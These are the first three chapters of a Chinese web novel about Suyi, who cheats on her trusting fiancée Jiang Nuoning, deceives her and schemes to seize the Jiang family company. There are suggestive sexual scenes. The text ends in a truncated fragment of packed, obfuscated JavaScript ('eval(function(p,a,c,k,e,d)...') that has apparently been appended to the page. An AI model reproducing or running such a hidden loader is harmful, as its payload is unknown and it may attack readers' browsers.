《老天赐我重来一次》 1. 第 1 章 衣服散落一地。 从玄关蜿蜒至卧室门口,高跟鞋歪倒着,丝袜挂在沙发扶手上,像被剥下的一层皮肤。 素依靠在床头,指尖夹着一根细长的烟。烟雾袅袅升起,模糊了她的眉眼。 怀里的人动了动,柔弱无骨地贴上来,手指在她胸口画着圈。仰起脸,痴迷地看了她一会儿,然后伸手拿过她手里的烟,就着她的唇印吸了一口,笑着吐出来。 “姜诺宁那个白痴,”徐媛媛眯起眼,“对你还没有疑心?” 素依低笑一声,手指漫不经心地缠绕着徐媛媛的长发。 “她?”语气里是毫不掩饰的轻蔑,“她看我的眼神,就跟信徒看菩萨似的。我说月亮是方的,她都能给我找三角尺。” 徐媛媛咯咯笑起来,翻身压住她,烟在指尖明灭。 “集团那边怎么样了?” “账面已经差不多了。”素依抬手,看着自己修剪整齐的指甲,“下个月董事会,我就能坐上副总裁的位置。等我把核心业务都捏在手里,姜家那点家底,还不是想怎么搬就怎么搬。” 徐媛媛撅起嘴,声音娇滴滴的,带着点撒娇的意味:“哦?那我呢?永远没有名分了?” 素依捏了捏她的下巴:“急什么。” “怎么不急?”徐媛媛脸色一变,推开她的手,坐起身来,“你住着她的房子,开着她的车,还要嫁给她,我呢?我就只能这样偷偷摸摸的?” 素依叹了口气,把烟按灭在床头柜上,伸手去拉她。 “再等等。” “等多久?”徐媛媛不依不饶,“等她真成了你老婆?等她躺你旁边?素依,你说过你爱的是我——” “我当然爱你。”素依把她拉回怀里,吻了吻她的发顶,“姜诺宁算什么?她不过是我往上爬的梯子。等梯子用完了——” 她没说下去,只是笑了笑。 那笑容里,没有一丝温度。 徐媛媛安静下来,盯着素依的眼睛看了好一会儿,又柔顺地靠在她肩头,手指又开始画圈。 “那你要快一点,”她轻声说,“我等不及了。” 窗外,城市的灯火明灭。 素依低下头,重新吻住她。 徐媛媛却猛地张嘴,狠狠地咬在她的脖颈上,牙齿陷进皮肉,留下一道深深的痕迹。 素依吃痛,闷哼一声。 徐媛媛松开嘴,盯着那个渗出血丝的牙印,一字一句地说:“你欠我的。” 素依把她搂得更紧,然后……缓缓向下。 —— 此时,千里之外的江城,正下着雨。 姜诺宁站在机场到达厅门口,手里捧着一个保温饭盒。 雨丝斜飘进来,打湿了她的裤脚。她往后退了半步,又怕素依出来第一眼看不到她,重新站回原来的位置。 饭盒是她早上五点起来做的。素依爱吃她做的糖醋排骨——学生时代就爱吃,说过很多次“诺宁做的比外面餐厅好吃”,她特意做了带来。 几个小时之前,她收到素依的微信:【飞机晚点了,要晚大概一个小时。你别等了,先回去吧。】 姜诺宁立刻回复:【没事,我等你。】 她想了想,又发了一条:【给你带了饭,怕你饿。】 对方没有再回复。 姜诺宁看着那个沉默的对话框,又发了一个可爱的表情包过去。 依然没有回应。 她琢磨大概是起飞了,所以才没来得及回复。 雨下得更大了。 她把饭盒护在怀里,怕被淋湿。 身边有人来来去去,有人被接走,有人拥抱,有人笑着聊天。 只有她一个人站着,孤独地站在原地。 忽然,一阵冷香飘过。 薄荷的味道,清清冷冷的,像冬天清晨推开窗时扑面而来的空气。 姜诺宁下意识抬起头。 一个高挑的身影从她身边经过。 黑色大衣,衣摆被风微微扬起。伞撑得很低,遮住了大半张脸,只露出一点下巴的弧度——冷白,线条流畅,像精心雕刻过的玉石。那人的气场极冷,也极净,仿佛周身有一层看不见的屏障,把人群和喧嚣都隔绝在外。明明是寻常的雨天机场,她走过的地方,却像突然有了聚光灯,让人忍不住要多看一眼。 像艺人出行,却又比那更沉,气场更足。 身后跟着一个人,恭敬地撑着伞,另一只手拎着公文包,像是秘书。 擦肩而过的那一刻,姜诺宁只觉得有点眼熟,却想不起在哪里见过。 那人似乎顿了一下。 很轻微的,几乎察觉不到的停顿。 然后继续往前走。 —— 停车场,黑色迈巴赫静静等着。 秘书快步上前拉开车门,等女人上车后,自己才绕到副驾驶坐下。 “沈总,接下来回公司吗?下午三点有个董事会,五点和陈总有约,晚上七点半——” 后座的人没有应声。 秘书从后视镜看过去,只见沈念微侧着头,目光落在车窗外。 顺着她的视线望去,到达厅门口,那个捧着饭盒的女孩还在那里站着。雨似乎又大了些,她的肩膀已经湿了一片,却浑然不觉,只是一遍遍地看着手机。 “沈总?” 沈念微收回视线。 “等一下。” 声音很淡,听不出任何情绪。 她就那样看着,看着雨幕中那个越来越模糊的身影。 她捧着饭盒的样子,像捧着一颗心。 沈念微垂下眼,手指无意识地攥紧了膝上的文件夹。 —— 飞机刚落地,素依慢条斯理地整理着衣领。手指拂过脖颈,徐媛媛咬的那个牙印更是又深又疼。她皱了皱眉,在脖颈上贴了个创口贴,又从包里拿出那枚订婚戒指,慢慢戴上。 舱门口,乘务长正微笑着送别乘客。 是个年轻的姑娘,面容姣好,制服勾勒出纤细的腰线。她双手交叠在小腹前,微微躬身:“感谢您选乘本次航班,期待下次再见。” 素依走到她面前,停下脚步。 姑娘抬起头,对上她的视线,脸微微一红。 素依笑了,从风衣口袋里摸出一张名片,递过去。 “下次飞江城,可以联系我。” 姑娘接过名片,下意识看了一眼——素依,姜氏集团总监。下面是一串电话号码,她把自己的名片也递了过去。 等她再抬头,素依已经走出舱门。 只是临走前,把刚收到的那张名片放在鼻尖,轻轻嗅了嗅。 姑娘的脸腾地红了。 素依弯了弯嘴角,头也不回地走了。 廊桥里,她的脚步声渐渐远去。 走到出口前,她打开了手机。屏幕上,是姜诺宁发来的那串消息——【没事,我等你】、【给你带了饭,怕你饿】、还有那个可爱的表情包。 她笑了一下。 那笑容很淡,带着几分漫不经心的轻蔑。 然后她按灭屏幕,收起手机。抬起头的那一刻,脸上已经换上了温柔的神色。 出口处,姜诺宁正踮着脚张望。 看到她的一瞬间,那双眼睛亮了起来。 “素素!” 姜诺宁立刻跑过来。 雨水溅起,打湿了她的裤腿,浑然不觉。 素依伸出手,一把抱住她。看着她被雨水打湿的头发,看着她因为等待而微微发白的嘴唇,看着她捧着饭盒的、冻得有些发红的手指。 “你怎么不找个地方坐着等?”素依伸手,替她拂去肩上的水珠,语气温柔,“傻不傻。” 姜诺宁摇头:“我怕你出来看不到我。” 素依笑了。 那笑容温柔极了。 她张开手臂,把姜诺宁拥进怀里。 “傻瓜。” 姜诺宁埋在她颈窝里,闻到了一股陌生的香水味,不是素依平时用的那款。 她愣了一下。 还没来得及细想,素依抱得太用力,她的脸颊蹭过素依的脖颈。她感觉到那里有什么东西——创口贴的边缘微微翘起,硌在她的皮肤上。 姜诺宁的心猛地缩紧了一下,“脖子怎么了?” 声音是闷在素依肩窝里的。 素依顿了一下,笑着揉了揉她的头发:“飞机上不知被什么虫子咬了,痒,挠破了一点。好想你,好累啊,我们回家吧。” 姜诺宁没再说话,她闭上眼睛,把素依抱得更紧。 …… 雨幕中,那辆黑色迈巴赫终于缓缓启动。 车窗贴了防窥膜,从外面什么也看不见。 只是那车在驶出停车场时,停了一瞬。 然后消失在雨里。 —— 姜诺宁的车就停在对面。 上了车,她把饭盒打开,糖醋排骨还冒着热气。 “饿 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姜诺宁深吸一口气,把那些乱七八糟的念头压下去。车子平稳地驶过雨夜的城市,副驾驶上的人睡得很沉,呼吸均匀。 她侧头看了一眼,嘴角不自觉地弯了弯。 …… 回到家里,素依直接进了浴室。 姜诺宁坐在客厅里,听着里面的水声,手里捧着那个已经凉了的饭盒。 水声停了。 素依穿着浴袍出来,头发湿漉漉地披在肩上。她走到梳妆台前,从抽屉里翻出一个创口贴,对着镜子,小心翼翼地贴在脖颈一侧。 然后她转过身,走到沙发前,一把抱住姜诺宁的腰,整个人软软地靠上去,下巴抵在她肩头。 “今天累死我了。” 姜诺宁也刚洗过澡,皮肤白得像雪娃娃,浴袍领口微敞,露出的锁骨精致漂亮。她抬起手,揉了揉素依的头发,指尖穿过湿漉漉的发丝,动作很轻。 素依窝在她怀里,闻着她身上好闻的沐浴露香。 姜诺宁的锁骨就在眼前,那两弯凹陷的地方,可以盛得住一小汪水。她以前喜欢埋在那里,有时候只是安静地靠着,有时候会轻轻咬一口,听姜诺宁笑着躲开的声音。 但今天—— 她看了一眼,就转开了头。 太累了。 腰酸得厉害,腿也软。徐媛媛那个女人,每次她要回家都跟要了她一条命似的,缠着她不放,像是要把接下来几天见不到面的份全补回来。 她现在什么都不想做,只想睡觉。 姜诺宁的手还在她头发上轻轻揉着,一下,又一下。 “累成这样?”她问,声音很轻。 素依“嗯”了一声,没抬头。 姜诺宁低头看她,只能看见她湿漉漉的发顶,和创口贴边缘露出的一小截红痕。 她张了张嘴,想问脖子到底怎么了,想问海市好不好玩,想问有没有想她—— 但话到嘴边,又咽了回去。 素依从她怀里坐起来,在她额头上印下一个吻。 “我去睡了,你也早点睡。” 然后她站起来,走进卧室,躺下,闭上眼睛。 姜诺宁坐在沙发上,看着她消失的方向,愣了一会儿。 以前不是这样的。 以前素依出差回来,会抱着她说好久的话,会问她这几天有没有想她,会靠在她肩头看她新追的剧,哪怕最后两个人都睡着了。 但今天没有。 可能真的太累了吧。 她有些失望。素依走了三天,她攒了好多话想说,想问她海市好不好玩,想告诉她这几天自己做了什么,想和她多待一会儿。 算了。 明天再说也一样。 她弯腰,把素依摊在地上的行李箱扶起来,准备收拾。 以前素依出门回来,都是她自己收拾行李。姜诺宁想帮她,她总是笑着推开:“我自己来就行,你歇着。” 但今天,好像真的累坏了,连行李都没收拾。 姜诺宁把行李箱拎到衣帽间,蹲下来,一件件往外拿衣服。 叠好的衬衫,卷起来的牛仔裤,洗漱包—— 她的手顿住了。 角落里,安静地躺着两样东西。 指套。 还有一小瓶润滑油,只剩下半瓶,明显是用过的。 2. 第 2 章 雨下了整整一夜。 素依是被噩梦惊醒的。 梦里,姜诺宁站在她面前,手里拿着一沓文件。那些文件她再熟悉不过——公司的股权转让书、房产证、车钥匙。 姜诺宁看着她,眼神冷若冰霜,“我都知道了。” 素依错愕地看着她,她想张嘴,想辩解,想扑上去抱住她,可像是被点了穴一样动不了分毫。 满心的恐惧如潮水般涌来。 没有了。什么都没有了。 那套她住了三年的公寓,那辆她开了两年的跑车,那张她刷了无数次的副卡,那个她花了十二年步步为营才握在手里的位置——全都没有了。 她好像又变回了很多年前那个穷学生,穿着洗得发白的校服,站在姜家别墅的铁艺大门外,隔着雕花栏杆,看里面灯火通明。 “你住的那套公寓,你开的跑车,明天有人去收回。”姜诺宁的声音平淡,没有一丝起伏,“你从姜家拿走的一切,一样一样,给我还回来。” 素依想说话,却发不出声音。她伸手去抓姜诺宁,却抓了个空。 姜诺宁转身走了。背影越来越远,越来越淡,最后消失在浓雾里。 “不——宁宁——!” 素依猛地坐起来。 卧室里一片漆黑。她大口喘着气,冷汗浸透了睡衣。心跳快得像要从胸腔里蹦出来。 梦。 是梦? 她低头看自己的手,还在,戒指也还在。她摸摸身侧,床单是凉的,姜诺宁不在。她掀开被子,光脚踩在地板上,冰凉的触感那么真实。 还好是梦!!! 她攥紧被角,长长地吐出一口气。心跳慢慢平复下来,恐惧褪去,取而代之的是一种劫后余生的庆幸。 素依深吸一口气,掀开被子,光着脚下床。 “宁宁?”她喊了一声,声音还带着梦里的余颤。 没有人应。 她推开卧室的门。 客厅里没有开灯。落地窗前,一个人影坐在沙发上,背对着她。窗外雨幕连绵,将那道身影勾勒成一道孤零零的剪影。 素依松了口气,快步走过去。 “你怎么不睡觉?吓死我了,做噩梦了,梦见你——” 她的脚步猛地顿住。 茶几上,那两样东西安静地躺着。 指套的包装盒,还剩半瓶的润滑油。 素依一瞬间连呼吸都忘了。 她慢慢抬起头,对上姜诺宁的视线。 姜诺宁就坐在那里,抱着自己的膝盖,整个人缩在沙发角落里。茶几上的东西她没有收,就那样摆着。她看着素依,眼睛很平静,平静得有些陌生。 那种眼神,素依很久没有见过了。 刚认识的时候,姜诺宁就是这样看人的。姜家的大小姐,骨子里带着矜贵和疏离,看谁都是淡淡的。那时候素依最喜欢她这一点——高冷,难追,追到了才有成就感。 可后来在一起久了,姜诺宁看她的眼神就变了。变得柔软,变得依赖,变得满是爱意。 现在,那双眼睛又变回了最初的样子。 冷冷的,静静的。 “宁宁……”素依的声音干涩,“你误会了——” 姜诺宁没有说话,只是看着她。 素依的大脑飞速旋转。 不能承认。绝对不能承认。但也不能否认得太死,姜诺宁不是傻子,那东西明晃晃地摆在面前,深吸一口气,她走到姜诺宁身边,蹲下来,伸手想去握她的手。 姜诺宁没有躲,但也没有回应,只是安静地看着她。 “是我自己用的。”素依的声音压得很低,带着恰到好处的难堪,“一个人在那边……晚上回到酒店,太寂寞了。宁宁,我知道我错了,我不该用那种东西,可是我什么都没做,真的,我就是自己……自己……” 她说不下去了,低下头,肩膀微微颤抖。 那模样,任谁看了都会心疼。 姜诺宁看着她,沉默了很久。 她喃喃低语:“我该相信你吗?” 素依立刻握紧她的手,眼眶已经红了:“你当然要相信我。我们认识多少年了?十二年!我是什么样的人你不知道吗?我怎么可能会做对不起你的事?那天晚上太累了,我一个人,就是一时……如果你不喜欢,以后我不用了行吗?” 她说着说着,声音里带上了哭腔。 姜诺宁低头看她。 素依的眼眶红红的,睫毛湿了,仰着脸看她,楚楚可怜。 她想起很多年前,素依也是这样看着她。那时候素依家里穷,交不起学费,她偷偷地为她补齐了钱。素依站在她家门口,也是这样红着眼眶,仰着脸看她,说“谢谢”。 窗外的雨声很大。 素依还在说着什么,声音嗡嗡的,像隔了一层水。 姜诺宁看着她一张一合的嘴唇,看着她因为着急而微微皱起的眉头,看着她握紧自己手指的那双手。 那只手上,戴着她们的订婚戒指。 等不到她的回应,素依心里越发没底。她仰起脸,凑过去,想要吻她—— 姜诺宁偏了一下头。 那个吻落在她的嘴角,堪堪擦过。 素依僵住了。 这是姜诺宁第一次躲开她。 就在她愣神的瞬间,姜诺宁忽然伸出手,环住了她的腰。她把脸埋在素依的颈窝里,抱得很紧,“素素。” 她的声音闷闷的,带着一点沙哑,像雨夜里的潮湿。 素依感觉到脖颈上有温热的东西滑过。 姜诺宁在哭。 可她哭得那么安静,没有声音,只有微微颤抖的肩膀,和越来越紧的怀抱。 “不要骗我。” 那声音轻得像叹息,软得像哀求。 素依下意识抬起手,落在她背上。 “不会的。”她说,声音是自己都没察觉的僵硬,“我不会让你伤心的。” 姜诺宁没有说话,只是把她抱得更紧。 窗外的雨还在下。 —— 第二天,雨停了。 素依醒过来的时候,姜诺宁已经起床了。她躺在枕头上发了会儿呆,回想昨晚的事,心里还是有点发虚。 姜诺宁最后是信了还是没信? 她说不好。 以前姜诺宁什么都写在脸上,高兴就是高兴,不高兴就是不高兴。可昨晚那双眼睛,她看不透。 不过东西已经收起来了,姜诺宁也没再提。应该……是信了吧。 素依翻了个身,拿起手机。 屏幕上躺着几条微信。 徐媛媛:【今天有空没?我想你了。】 她皱了皱眉。这个死女人,还好意思发信息过来?差点害惨她,那东西怎么会出现在行李箱里?素依用脚想也知道是谁动的手脚,徐媛媛最近是越来越不老实了,要不是看中她的家族对自己的支持,她早就甩开这个麻烦的女人了。 卧室门被推开了。 姜诺宁站在门口,穿着一件黑色的大衣。头发简单地扎起来,露出一截白皙的脖颈。阳光从她身后照进来,勾勒出一道浅金色的轮廓。 “醒了?”姜诺宁说,“快洗漱,要出发了。” 素依差点忘记了日子,反应了一秒钟,立刻坐起来。 “好,马上洗漱。” —— 墓园很安静。 风从松柏间穿过,带着凛冽的寒意。姜诺宁站在墓碑前,看着上面那张黑白照片。姜臣在照片里笑着,眉眼温和,和记忆里一模一样。 她把手里那束白菊放在碑前。 “爸,我来看你了。” 素依站在她身后半步的位置,手里撑着一把黑色的伞。阳光其实很好,不需要打伞,但她还是撑着,一副尽职尽责的模样。 姜诺宁蹲下来,伸手摸了摸墓碑上的字。 素依往前走了一步,把伞往姜诺宁那边偏了偏。 “叔叔,我和宁宁来看您了。”她开口,声音温柔得体,“您放心,我会好好照顾宁宁的,一辈子对她好。” 姜诺宁没有说话,只是看着墓碑。 素依又说了一些话,无非是那些体面周全的漂亮话。说得滴水不漏,说得挑不出任何毛病。 过了一会儿,姜诺宁站起来。 “我去拿点东西,”她说,“你等我一下。” 素依点点头。 姜诺宁转身走了。脚步声渐渐远去,消失在墓园的小径尽头。 素依撑着伞,站在原地。 阳光很好,照在身上暖洋洋的。 她低头看着那块墓碑,看着照片上姜臣温和的笑容。 四周很安静,一个人都没有。 素依嘴角的笑,一点一点冷了下去。 “姜臣。” 墓碑沉默着。 “你当年不是不接受我么?”素依看着那张照片,眼里恨意蔓延,“你说我配不上你女儿,说我看上的是姜家的钱,说我心术不正,让我离她远一点。” 风吹过,松柏的枝叶轻轻摇晃。 素依往前站了一步,伞遮住了她的脸,也遮住了她嘴角那抹意味不明的弧度。 “你说得没错,我是看上了姜家的钱。”她轻声说,像是在和老朋友聊天,“可那又怎么样呢?你女儿爱我,爱得死去活来。我说什么她都信,我要什么她都给。” 她顿了顿,目光落在墓碑上那张温和的笑脸上。 “现在,你所有的东西都将会是我的了。公司,产业,股票——” 她抬起头,看着远处缓缓走来的姜诺宁,嘴角的弧度慢慢扩大,扩大到一种近乎扭曲的程度。 那笑容里带着病态的餍足,带着胜利者的嘲弄,带着十二年来所有隐忍和算计终于要开花结果的快意。 “——还有你最宝贝的。” 她全部都要夺走。 姜诺宁捧着一束新的花走过来,白色的百合,爸爸生前最喜欢的花。 素依收回视线,脸上的表情瞬间恢复成那副温柔得体的模样。 她笑着摇头,伸手接过那束花:“我来放。” 她把花放在墓碑前,和那束白菊并排摆在一起。然后直起身,重新撑起伞,遮在姜诺宁头顶。 回去的路上,素依开车。 姜诺宁坐在副驾驶,侧头看着窗外。城市在车窗外倒退,高楼,商场,行人,一点点掠过。 车里很安静。 素依的手机震了一下。 她飞快地瞥了一眼屏幕。 徐媛媛。 她没动。 手机又震了一下。 【我知道你在开车,看见就回我。】 【我来江城了,要见你,给你半个小时,你要不来,我就一不小心会打你未婚妻手机上,你自己看着办。】 素依攥着方向盘的手指紧了紧。 她深吸一口气,调整了一下表情,然后侧头看向姜诺宁。 “宁宁,凉月那边出了点急事,我得过去一趟。” 姜诺宁转过头来看她,有些不满:“现在?你忘了,我们要回家陪妈的。” 素依脸上的表情没有丝毫破绽:“嗯,她说挺急的,好像是她妈妈那边的事。我去看看就回,晚点陪你吃饭,好不好?” 姜诺宁看着她。 素依的眼神坦坦荡荡,看不出任何问题。 过了几秒,姜诺宁点了点头。 “好。” 素依心里松了口气,把车停在路边。 姜诺宁下车前,回头看了她一眼。 “早点回来。” 素依笑着点头:“放心,处理完就回。” 车门关上。 素依看着姜诺宁的背影消失在小区门口,脸上的笑容慢慢淡下去。 她拿起手机,给徐媛媛回了条消息:【死女人,等着。】 然后发动车子,掉头往另一个方向驶去。 —— 姜诺宁没有直接回家。 她在 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“没事,”她说,声音很稳,“她要是真怀疑,就不会只打电话问你了。放心吧,她那个人,我比你了解。” 鹿凉月皱眉,声音沉下来:“素依,偷吃也要把嘴擦干净。我和宁宁十多年的感情,你玩归玩,别他妈真的给我捅出篓子来。” 素依把手机从耳边拿开,看了一眼屏幕,嘴角扯出一个不屑的弧度。 她懒得再听,直接挂断。 手机又震了一下。这次是一条新消息。 屏幕上,是一条信息:【素总,20%的散股已经收购完毕,放心。】 她弯了弯嘴角。 然后踩下油门,红色的跑车汇入车流,往另一个方向驶去。 —— 那是一个高档小区。 素依停好车,乘电梯上了十五楼。 门刚打开一条缝,一双手就缠了上来。 “你还知道来?”徐媛媛的声音带着娇嗔和怨气,“我以为你被你家那位拴住了呢。” 素依没说话,低头吻住她,“死女人,还不是你害的?” 两个人从玄关纠缠到客厅,衣服散落一地。 徐媛媛咬着她的耳朵,声音含糊:“她没怀疑吧?” “没有。” 素依把她压在沙发上,“她那种人,我说什么她都信。你怎么奖励我?” 徐媛媛笑起来,伸手搂住她的脖子,“蒋毅那边我已经搞定了,这奖励够吗?” 素依的动作猛地顿住。 她抬起头,死死盯着徐媛媛的眼睛,瞳孔里有什么东西骤然亮起来。 “真的?!” 那声音都变了调,带着压抑不住的狂喜。 徐媛媛但笑不语,只是看着她。 素依一把掐住她的腰,力道大得几乎要在那截细腰上留下指印。 “真的?!” 她又问了一遍,声音都在抖。 徐媛媛吃痛地皱了皱眉,却笑得更深了:“我什么时候骗过你?” 素依盯着她看了两秒,然后狠狠吻下去。 那吻带着掠夺的意味,带着压抑了太久的渴望终于要开花结果的疯狂。 满室的旖.旎里,只有徐媛媛断断续续的声音飘出来: “轻点……你轻点……” 可素依已经听不见了。 她满脑子只有一个念头—— 成了。 终于成了。 —— 傍晚。 姜诺宁从家里出来,陪着妈妈吃了一顿家饭,天色渐暗,她没有叫司机,就那样沿着街边慢慢走。 她只是想走一走。 以前,这条街她走过很多次。那时候素依总是陪着她,两个人牵着手,慢悠悠地逛,看到好看的小店就进去转一转,看到好吃的就买一份分着吃。 那时候素依不忙。 或者说,那时候素依再忙也会陪她。 可现在呢? “凉月那边有急事”,“公司有个应酬”,“项目出了点问题要处理”……理由越来越多,陪她的时间越来越少。 姜诺宁叹了口气。 她有时候会想起学生时代。那时候她们什么都没有,却好像什么都拥有。现在她们什么都有了,却好像什么都变了。 她站在街边,看着来来往往的车流,看着一盏盏亮起来的路灯。 街对面,是一家咖啡店。 咖啡店门口的停车位上,停着一辆红色的跑车。 那辆车她很熟悉。 是她送给素依的生日礼物。 姜诺宁站在路边,看着那辆车。 车窗贴了膜,从外面看不见里面。可就在她看过去的时候,车门开了。 素依从车上下来。 她站在车边,低头摆弄着手机,嘴角还带着笑。 然后副驾驶的门也开了。 一个女人走下来。 很年轻,很漂亮,穿着一条修身的连衣裙。她走到素依身边,伸手理了理素依的衣领,动作很亲昵。 素依抬起头,笑着在她脸上捏了一下。 那个女人仰起脸,凑过去,在素依嘴角亲了一口。 姜诺宁站在街对面,看着她们。 隔着车流,隔着暮色,隔着来来往往的人群。 她没有动。 就那么看着。 看素依笑着回捏对方的脸,看那个吻轻飘飘地落在素依嘴角,看那辆自己送的车载着两个人消失在夜色深处。 然后她低下头,看了一眼自己的手。 那只手上,还戴着被素依紧紧握过的订婚戒指。 她慢慢攥紧。 指节泛白。 3. 第 3 章 姜诺宁站在街边,看着那辆车消失在车流里。 路灯一盏盏亮起来,暮色被切割成碎片,铺在潮湿的柏油路面上。她觉得自己应该做点什么——应该冲过去,应该质问,应该把那只订婚戒指摘下来摔在素依脸上。 但她什么都没做。 只是站在那里,像一棵被遗忘在路边的树。 脑海里翻涌而来的,是很多年前的画面。 —— 十七岁,夏天,学校天台。 素依坐在她旁边,两个人分一盒西瓜。竹签戳起最中间那一块,没有自己吃,而是递到她嘴边。 “姜诺宁,你眼睛真好看。” 那是素依第一次叫她的全名,不是“诺宁”,不是“宁宁”,是郑重的、认真的“姜诺宁”。 午后的风穿过天台,吹起素依的刘海,露出光洁的额头。那时候素依还戴着牙套,笑起来会下意识用手挡着嘴。可她说那句话的时候没有挡,就那么笑着,露出一小截银色的钢丝。那笑容干净得像天台上的风,没有任何目的,没有任何算计,只是一个十七岁女孩看着喜欢的人时,最本能的欢喜。 姜诺宁记得自己当时心跳漏了一拍。 她低头咬住那块西瓜,汁水很甜,甜到嗓子里发腻。 “为什么突然哄我?”她问,声音小得像蚊子哼。 “我说的是真的。”素依把西瓜盒放在两人中间,托着腮看她,眼睛弯弯的,“像星星。” 她说这话的时候,睫毛在阳光下镀了一层金边,瞳孔里映着姜诺宁的倒影。那目光太纯粹,纯粹到让姜诺宁觉得,全世界只剩下她们两个人。 她信了。 信了那双眼睛里的光,信了那笑容里的真。 —— 大学的时候,素依的牙套摘了,露出整齐漂亮的牙齿。她开始变得好看起来,好看到走在路上会有人回头看她。 有人追她,男生有,女生也有。 素依一个都没理。 “我有你了啊。”她说这话的时候正在啃姜诺宁买的糖醋排骨,嘴角沾着酱汁,毫不在意形象。 姜诺宁坐在对面,看着她,觉得自己大概是全世界最幸运的人。 那时候素依很穷,穷到吃食堂都要算计着来。可她会攒很久的钱,买来毛线,对着教程一针一针地学。手指被棒针戳了好几次,织了拆、拆了织,折腾了大半个月,才织出一条歪歪扭扭的围巾。 姜诺宁收到的时候,围巾上还有几处漏针的小洞。可她戴了整整一个冬天,连睡觉都不舍得摘。 “你傻不傻,”素依笑她,“围巾睡觉戴着不难受吗?” 姜诺宁把脸埋进围巾里,闷闷地说:“不难受,有你的味道。” 素依愣了一下,然后伸手揉了揉她的头发,没有说话。 但姜诺宁看见她耳朵红了。 那抹红,比任何情话都动人。 —— 毕业后,姜臣去世了。 那是姜诺宁人生中最黑暗的日子。父亲走得太突然,公司群龙无首,董事会那帮人虎视眈眈,她一个二十二岁的女孩,被推到风口浪尖上。 是素依陪着她。 葬礼那天,下着雨。姜诺宁穿着黑色的裙子,站在墓碑前,眼泪怎么都止不住。素依站在她身后,撑着伞,一句话都没说。 等所有人都走了,素依才走到她面前,把她抱进怀里。 “还有我。”她说,声音很轻,却很坚定,“你还有我。” 姜诺宁把脸埋在她肩头,哭得浑身发抖。 那是她第一次觉得,素依是她的依靠。 后来公司的事情,素依帮她处理了很多。素依聪明,能干,学什么都快,很快就在公司里站稳了脚跟。姜诺宁不懂那些商业上的事,她从小就被父亲保护得很好,学的是油画,对数字和报表一窍不通。 她信任素依,把所有事情都交给她。 父亲留下的那些股份、产业、房产,她一样一样地交给素依打理。不是没有人心存疑虑,鹿凉月就劝过她:“宁宁,你留个心眼,公司的事你不能完全不管。” 可她不听。 “素素不会害我的。”她说这话的时候,眼神干净得像十七岁那年夏天。 鹿凉月还想说什么,素依从身后走过来,手臂自然而然地环住姜诺宁的腰。下巴抵在她肩头,目光却越过她,落在鹿凉月脸上。 素依的声音温柔,眼睛直勾勾地盯着凉月:“你放心,我会一直对她好。” 她顿了顿,指尖在姜诺宁腰间轻轻摩挲,“不然——”她弯起嘴角,“你这个好朋友,也不会放过我的,对么?” …… —— 可现在,她站在街边,看着那辆自己送的车载着别的女人消失在夜色里。 路灯亮了,街边的橱窗亮着暖黄色的光,咖啡店门口有情侣在拥抱,有朋友在说笑,有孩子在奔跑。 只有她一个人站着。 她想起行李箱里那两样东西,想起素依脖颈上创口贴遮住的痕迹,想起那股陌生的香水味,想起今天她接起电话时语气里一闪而过的不耐烦。 她想起刚才那个女人在素依嘴角亲的那一下。 轻飘飘的,像一片羽毛。 可砸在她心上,像一块石头。 姜诺宁抬起头。 不知道什么时候开始下雨了。 雨丝细密,落在脸上,凉凉的。她仰起脸,让雨水打在额头上,打在眉骨上,打在眼角。 有什么温热的东西顺着脸颊滑下来,混进雨水里,分不清是泪还是雨。 她闭上眼睛。 —— 回到家的时候,雨已经下大了。 姜诺宁浑身湿透,钥匙在锁孔里转了两圈才对准。她推开门,玄关的灯亮着,是她出门前留的那盏。 鞋柜上,还摆着她和素依的合照。 两个人站在海边,素依搂着她的腰,她靠在素依肩头,笑得眼睛弯成月牙。那是去年夏天拍的,那时候素依还会陪她去海边,会牵着她的手在沙滩上走,会蹲下来帮她系散开的鞋带。 姜诺宁看着那张照片,看了很久。 然后她移开视线,走进浴室。 热水浇下来的时候,她才感觉到冷。 不是皮肤表面的冷,是从骨头缝里渗出来的怎么都暖不过来的冷。她站在花洒下面,水温调到最高,热气蒸腾,镜子上蒙了一层白雾。 可她还是在发抖。 她低下头,看着自己的手。 那只手上,还戴着订婚戒指。 钻石在水雾里闪着细碎的光,切割完美的棱面折射出彩虹色的光斑。素依为她戴上这枚戒指的时候说:“我会一辈子对你好。” 一辈子。 好短的一辈子。 她慢慢攥紧拳头,指节泛白。 手机在洗手台上震起来。 屏幕上显示着两个字:素素。 姜诺宁看着那两个字,没有动。 手机震了很久,停了。 然后过了十几秒,又震起来。 还是素素。 她深吸一口气,拿起手机,接通。 “宁宁?”素依的声音从听筒里传来,带着惯常的温柔,“你从妈家出来了?” “嗯。”姜诺宁的声音有些哑,她清了清嗓子,“出来了。” “怎么待这么短?”素依的语气里有一丝疑惑,“我还以为你要陪她吃晚饭呢。” “她有点累,想早点休息。” “这样啊……”素依顿了顿,“你现在在哪儿?回家了吗?” “嗯,回来了。” “那你吃饭了没?我在路上买了你爱吃的芝士蛋糕,还有那家店的杨枝甘露,要不要我现在送回去?” 姜诺宁握着手机,听着那个温柔的声音。 以前,她会觉得暖心。会觉得素依真好,工作那么忙还惦记着她爱吃什么。 可现在—— 她只觉得恶心。 胃里翻涌着一股酸涩,喉咙发紧,像是有什么东西堵在那里,上不去也下不来。她捂住了嘴,指甲掐进掌心。 素依还在那边说着什么,声音温柔体贴。 “宁宁?怎么不说话?” 姜诺宁深吸一口气,松开捂着嘴的手。 “没什么,”她说,声音平稳得连自己都觉得陌生,“你早点回来吧,我有话对你说。” “好,我马上回。蛋糕给你带回去?” “嗯。” “那等我,大概半小时。” “好。” 电话挂断。 姜诺宁把手机放在洗手台上,看着镜子里自己模糊的轮廓。水雾遮住了大半,只露出一双眼睛。 那双素依说很好看的眼睛。 现在红红的,肿肿的,像两颗被泡烂的星星。 —— 素依挂了电话,眉心微微皱起。 她总觉得哪里不对。 姜诺宁的声音听起来怪怪的,说不上来哪里怪。 以前姜诺宁从妈妈家回来,会跟她讲妈妈做了什么菜,讲了什么话,甚至会学妈妈的语气逗她笑。可今天什么都没有,只是干巴巴地回答她的问题。 “怎么了?”徐媛媛从身后缠上来,手臂环住她的腰,下巴抵在她肩头,“脸色这么难看。” 素依没说话,把手机揣进口袋,开始穿外套。 徐媛媛的笑容僵在脸上。 “你要回去?” “嗯。”素依低头系扣子,动作很快,“她一个人在家。” “她一个人在家怎么了?”徐媛媛的声音尖锐起来,一把抓住她的手腕,“素依,你什么意思?你才来多久就要走?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 